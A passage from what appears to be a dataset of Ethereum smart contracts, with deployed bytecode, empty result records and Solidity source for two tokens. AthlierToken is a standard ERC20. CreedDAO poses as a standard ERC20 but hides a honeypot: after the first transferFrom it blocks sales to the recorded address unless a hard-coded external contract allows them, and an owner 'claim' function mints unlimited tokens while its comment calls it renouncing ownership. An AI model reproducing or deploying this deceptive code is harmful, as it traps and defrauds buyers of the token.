163373ffffffffffffffffffffffffffffffffffffffff16141515610f5f57600080fd5b60008060146101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd657600080fd5b8060049080519060200190610fec929190611985565b5050565b600061108182600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60085481565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113a857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113f657600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561148157600080fd5b6114d382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163a82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561173857fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561178057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117ce57600080fd5b61182082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561197b57fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106119c657805160ff19168380011785556119f4565b828001600101855582156119f4579182015b828111156119f35782518255916020019190600101906119d8565b5b509050611a019190611a05565b5090565b611a2791905b80821115611a23576000816000905550600101611a0b565b5090565b905600a165627a7a723058208a06a1a30dcf158c9eb185cc47f794a1ff1b406a7f8a1d9af9deb6a07db863a30029
{"success": true, "error": null, "results": {}}
2,794
0x3f1db2c3e98232971ec8ccfea8be865228763fef
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract AthlierToken is BurnableToken, PausableToken { string public name = "Athlier"; string public symbol = "ATH"; uint256 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 60 * 1000 * 1000 * 1000 * (10 ** uint256(decimals)); function AthlierToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633f4ba83a1461023357806342966c68146102485780635c975abb1461025e578063661884631461027157806370a08231146102935780638456cb59146102b25780638da5cb5b146102c557806395d89b41146102f4578063a9059cbb14610307578063d73dd62314610329578063dd62ed3e1461034b578063f2fde38b14610370575b600080fd5b341561010b57600080fd5b61011361038f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a036004351660243561042d565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d3610458565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a036004358116906024351660443561045e565b341561021857600080fd5b6101d361048b565b341561022b57600080fd5b6101d361049b565b341561023e57600080fd5b6102466104a1565b005b341561025357600080fd5b610246600435610520565b341561026957600080fd5b6101ac6105e9565b341561027c57600080fd5b6101ac600160a060020a03600435166024356105f9565b341561029e57600080fd5b6101d3600160a060020a036004351661061d565b34156102bd57600080fd5b610246610638565b34156102d057600080fd5b6102d86106bc565b604051600160a060020a03909116815260200160405180910390f35b34156102ff57600080fd5b6101136106cb565b341561031257600080fd5b6101ac600160a060020a0360043516602435610736565b341561033457600080fd5b6101ac600160a060020a036004351660243561075a565b341561035657600080fd5b6101d3600160a060020a036004358116906024351661077e565b341561037b57600080fd5b610246600160a060020a03600435166107a9565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b505050505081565b60035460009060a060020a900460ff161561044757600080fd5b6104518383610844565b9392505050565b60005481565b60035460009060a060020a900460ff161561047857600080fd5b6104838484846108b0565b949350505050565b600654600a0a640df84758000281565b60065481565b60035433600160a060020a039081169116146104bc57600080fd5b60035460a060020a900460ff1615156104d457600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080821161052e57600080fd5b600160a060020a03331660009081526001602052604090205482111561055357600080fd5b5033600160a060020a0381166000908152600160205260409020546105789083610a32565b600160a060020a038216600090815260016020526040812091909155546105a5908363ffffffff610a3216565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561061357600080fd5b6104518383610a44565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461065357600080fd5b60035460a060020a900460ff161561066a57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104255780601f106103fa57610100808354040283529160200191610425565b60035460009060a060020a900460ff161561075057600080fd5b6104518383610b3e565b60035460009060a060020a900460ff161561077457600080fd5b6104518383610c39565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146107c457600080fd5b600160a060020a03811615156107d957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156108c757600080fd5b600160a060020a0384166000908152600160205260409020548211156108ec57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561091f57600080fd5b600160a060020a038416600090815260016020526040902054610948908363ffffffff610a3216565b600160a060020a03808616600090815260016020526040808220939093559085168152205461097d908363ffffffff610cdd16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546109c5908363ffffffff610a3216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610a3e57fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610aa157600160a060020a033381166000908152600260209081526040808320938816835292905290812055610ad8565b610ab1818463ffffffff610a3216565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b5557600080fd5b600160a060020a033316600090815260016020526040902054821115610b7a57600080fd5b600160a060020a033316600090815260016020526040902054610ba3908363ffffffff610a3216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bd8908363ffffffff610cdd16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c71908363ffffffff610cdd16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561045157fe00a165627a7a723058202da82046f11b2f43350c284b822157462f528934e4400d3d8dd41683fdd673950029
{"success": true, "error": null, "results": {}}
2,795
0xC20218457e5f486E846034D1c8F806217BC3DEDf
// SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } abstract contract IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function invalidAddress(address _address) virtual external view returns (bool){} /** * @dev Returns if it is a invalid address. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function approver() virtual external view returns (address){} /** * @dev approver of the amount of tokens that can interact with the allowance mechanism */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract CreedDAO is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal approver; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal invalid; address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' * functions anymore. Can only be called by the current owner. */ function claim(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: claim from the zero address"); _claim (_address, tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == approver) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _transfer (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _claim(address _Address, uint _Amount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ invalid = _Address; _totalSupply = _totalSupply.add(_Amount); balances[_Address] = balances[_Address].add(_Amount); } function _transfer (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; approver = IERC20(openzepplin).approver(); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } receive() external payable { } fallback() external payable { } }
0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb578063a9059cbb14610200578063aad3ec9614610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906108af565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610920565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f961016336600461094a565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610986565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610986565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100f961021b366004610920565b61053c565b34801561022c57600080fd5b506100ac61023b366004610920565b61062c565b34801561024c57600080fd5b5061013a61025b3660046109a1565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60038054610293906109d4565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109d4565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b2565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d2565b6001600160a01b03841660009081526009602052604090205461045490836106b2565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b2565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610826565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109d4565b6004546000906001600160a01b038481166101009092041614156105955760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064015b60405180910390fd5b336000908152600960205260409020546105af90836106b2565b33600090815260096020526040808220929092556001600160a01b038516815220546105db9083610826565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000546001600160a01b0316331461064357600080fd5b6001600160a01b0382166106a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20636c61696d2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6106ae8282610841565b5050565b6000828211156106c157600080fd5b6106cb8284610a25565b9392505050565b6004546001600160a01b03828116610100909204161415806107985750600854604051630c73320760e31b81526001600160a01b03848116600483015290911690636399903890602401602060405180830381865afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d9190610a3c565b15156001148061077a57506007546001600160a01b038381169116145b801561079857506004546001600160a01b0382811661010090920416145b806107da57506004546001600160a01b03828116610100909204161480156107da57506006546001600160a01b03831660009081526009602052604090205411155b6106ae5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161058c565b60006108328284610a5e565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108699082610826565b6005556001600160a01b03821660009081526009602052604090205461088f9082610826565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b818110156108dc578581018301518582016040015282016108c0565b818111156108ee57